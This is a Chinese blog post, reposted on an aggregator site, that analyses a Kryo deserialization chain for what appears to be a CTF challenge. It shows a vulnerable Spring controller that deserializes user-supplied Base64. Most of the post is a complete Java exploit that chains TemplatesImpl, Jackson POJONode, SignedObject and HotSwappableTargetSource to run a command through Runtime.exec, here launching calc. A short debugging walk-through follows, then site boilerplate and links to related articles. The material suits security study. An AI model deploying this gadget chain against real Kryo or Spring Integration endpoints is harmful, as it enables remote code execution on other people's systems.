Kryo反序列化链分析

这篇具有很好参考价值的文章主要介绍了Kryo反序列化链分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

Kryo是一个快速序列化/反序列化工具,依赖于字节码生成机制(底层使用了ASM库),因此在序列化速度上有一定的优势,但正因如此,其使用也只能限制在基于JVM的语言上。
Kryo序列化出的结果,是其自定义的,独有的一种格式。由于其序列化出的结果是二进制的,也即byte[],因此像redis这样可以存储二进制数据的存储引擎是可以直接将Kryo序列化出来的数据存进去。当然你也可以选择转换成String的形式存储在其他存储引擎中(性能有损耗)

环境搭建

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>5.2.0</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-messaging</artifactId>
    <version>5.3.18</version>
</dependency>
<dependency>
    <groupId>org.springframework.integration</groupId>
    <artifactId>spring-integration-core</artifactId>
    <version>5.3.1.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>

例题

package com.sea;

import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {
    public MessageController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public Object message(String message) throws Exception {
        byte[] decodemsg;
        if (message == null) {
            decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
        } else {
            try {
                decodemsg = Base64.getDecoder().decode(message);
            } catch (Exception var5) {
                decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
            }
        }

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
        return messagecode.getPayload();
    }
}

漏洞点在codecMessageConverter.toMessage里面,并且给了一个比较明显的base64字符串,看一下codecMessageConverter类,有一个toMessagefromMessage,对应的就是反序列化和序列化了
Kryo反序列化链分析

Kyro反序列化链

package com.example.kryo;
import com.esotericsoftware.kryo.Kryo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;


public class Exploit {
    public static void main(String[] args) throws Exception {
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false);
        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        // 二次反序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] byteCode = ctClass.toBytecode();

        Templates templates = new TemplatesImpl();
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_name", "whatever");
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

        POJONode pojoNode1 = new POJONode(templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
        setFieldValue(badAttributeValueExpException, "val", pojoNode1);

        // 初始化 SignedObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        // 一次反序列化
        POJONode pojoNode2 = new POJONode(signedObject);
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

        // 手动构造 HashMap 以防触发正向利用链
        HashMap hashMap = new HashMap();
        setFieldValue(hashMap, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
        setFieldValue(hashMap, "table", tbl);
        //String serial = serial(hashMap);
        //System.out.println(serial);
        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        // 序列化
        GenericMessage genericMessage = new GenericMessage(hashMap);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
        // 反序列化
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
        messagecode.getPayload();
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
//        Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//        writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

分析一下链子的流程,在toMessage处打个断点,nmmd,断点停不住,艹了,手动分析一波
Kryo反序列化链分析
进入decode方法
Kryo反序列化链分析
这里触发kryo的readObject,手动进去
Kryo反序列化链分析
进入read方法,这里为MapSerializer的read方法Kryo反序列化链分析
这个map是我们的恶意map,通过触发equals方法来触发我们之后一系列的链子,这个之后的链子就是我们的jackson链,就不多说了,到此为止....文章来源地址https://www.toymoban.com/news/detail-851425.html

到了这里,关于Kryo反序列化链分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SharedPreferences工具类保存List对象,自动完成序列化和反序列化

    以下是一个示例的SharedPreferences工具类,其中包含了setList()和getList()方法,用于将List序列化为JSON字符串并存储到SharedPreferences中,以及从SharedPreferences中获取JSON字符串并反序列化为List对象: 在上述代码中,我们定义了一个SharedPreferencesUtils工具类,其中包含了setList()和getLis

    2024年02月16日
    浏览(41)
  • .NET的8种JSON序列化反序列化工具供你选择

    在.NET开发中,.NET的JSON序列化反序列化工具除了Newtonsoft.Json和System.Text.Json其实还有很多优秀的开源的序列化和反序列化工具,这些工具有的性能更加优秀,更加轻量等特征。本文将汇总介绍这些.NET中常用的JSON序列化和反序列化工具,供大家选择参考使用。 1、Newtonsoft.Json

    2024年02月08日
    浏览(29)
  • 又一个难题:Java 序列化和反序列化为什么要实现 Serializable 接口?

    作者:椰子Tyshawn 来源:https://blog.csdn.net/litianxiang_kaola 最近公司的在做服务化, 需要把所有model包里的类都实现Serializable接口, 同时还要显示指定serialVersionUID的值. 听到这个需求, 我脑海里就突然出现了好几个问题, 比如说: 序列化和反序列化是什么? 实现序列化和反序列化为什

    2024年02月08日
    浏览(51)
  • drf——Request源码分析、序列化组件、序列化类的使用(字段类和参数)、反序列化校验和保存

    views.py中 urls.py中 序列化类 字段 字段构造方式 BooleanField BooleanField() NullBooleanField NullBooleanField() CharField CharField(max_length=None, min_length=None, allow_blank=False, trim_whitespace=True) EmailField EmailField(max_length=None, min_length=None, allow_blank=False) RegexField RegexField(regex, max_length=None, min_length=None, a

    2024年02月05日
    浏览(40)
  • FastJson反序列化分析

    前言:网上关于FastJson的分析文章一大片,本文只是笔者在实践操作中理解的一些东西,不算特别详细,留作日后复习,欢迎一起交流 什么是FastJson? Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。 先来看看一

    2024年02月06日
    浏览(46)
  • Hessian反序列化分析

    RPC全称为 Remote Procedure Call Protocol (远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便 RPC协议的一次远程通信过程如下: 客户端发起请求,并按照RPC协议格式填充信

    2024年04月11日
    浏览(56)
  • Shiro反序列化分析

    Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带 Commoncollections 的,除此之外还带了一个包叫做 CommonBeanUtils ,主要利用类就在这个包里 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 编辑shiro/s

    2024年03月24日
    浏览(44)
  • JDBC反序列化分析

    找两个序列化后的bin文件,进行对比,可以发现前两个字节是固定的 AC , ED ,变十进制就是 -84 , -19 记住这两个数,后面分析的时候会用到 触发点在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 可以看到在触发readObject之前还对data的前两个字节进行了比较来判断是不是序列化对象,

    2024年04月08日
    浏览(63)
  • RMI反序列化分析

    RMI全程Remote Method Invocation (远程方法引用),RMI有客户端和服务端,还有一个注册中心,在java中客户端可以通过RMI调用服务端的方法,流程图如下: 服务端创建RMI后会在RMI Registry(注册中心)注册,之后客户端都是从注册中心调用方法,RMI分为三个主体部分: Client-客户端

    2024年03月26日
    浏览(36)
  • SnakeYaml反序列化分析

    SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。yaml真是到哪都有啊。 SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去

    2024年04月22日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包